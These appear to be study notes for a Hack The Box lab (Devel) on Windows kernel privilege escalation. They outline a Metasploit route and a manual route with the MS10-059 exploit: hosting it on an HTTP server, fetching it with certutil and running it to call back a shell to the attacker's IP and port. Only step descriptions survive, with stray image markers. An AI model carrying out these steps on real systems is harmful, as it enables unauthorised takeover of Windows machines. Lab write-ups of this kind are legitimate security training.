1.5 KiB
1.5 KiB
Overview
!
!
- The reason we need "system info" is because there are specific kernel exploits depending on the Windows build.
- If we own the Kernel, we own the system - that's what we are trying to do.
Escalation with Metasploit (Example - Devel HTB)
-
Background the meterpreter session2. Search and use the exploit you found by priv suggester !
-
Search and use the exploit you found by priv suggester !
-
Set the appropriate meterpreter session (and the other options) !
-
Run and get another meterpreter session! !
-
Be root !
Manual Kernel Exploitation (Devel - HTB)
- Search for the specific kernel exploit in Google
- ms10-015 doesn't work because we don't have GUI access
- so keep working through them & researching each one
- Rest of example is with MS10-059 (chimichurri exploit)
-
Downloaded the .exe to attacking machine !
-
Set up Python HTTP server on attacking machine to host the file for victim to download
-
Go to temp folder (likely have write access here) !
-
Download the file with certutil command (similar to wgeton Linux) !
-
Run the command with proper syntax (ms.exe <attacker_IP> <attacker_port>) !
-
On attacking machine, open another shell with the correct port !
-
Become root! !
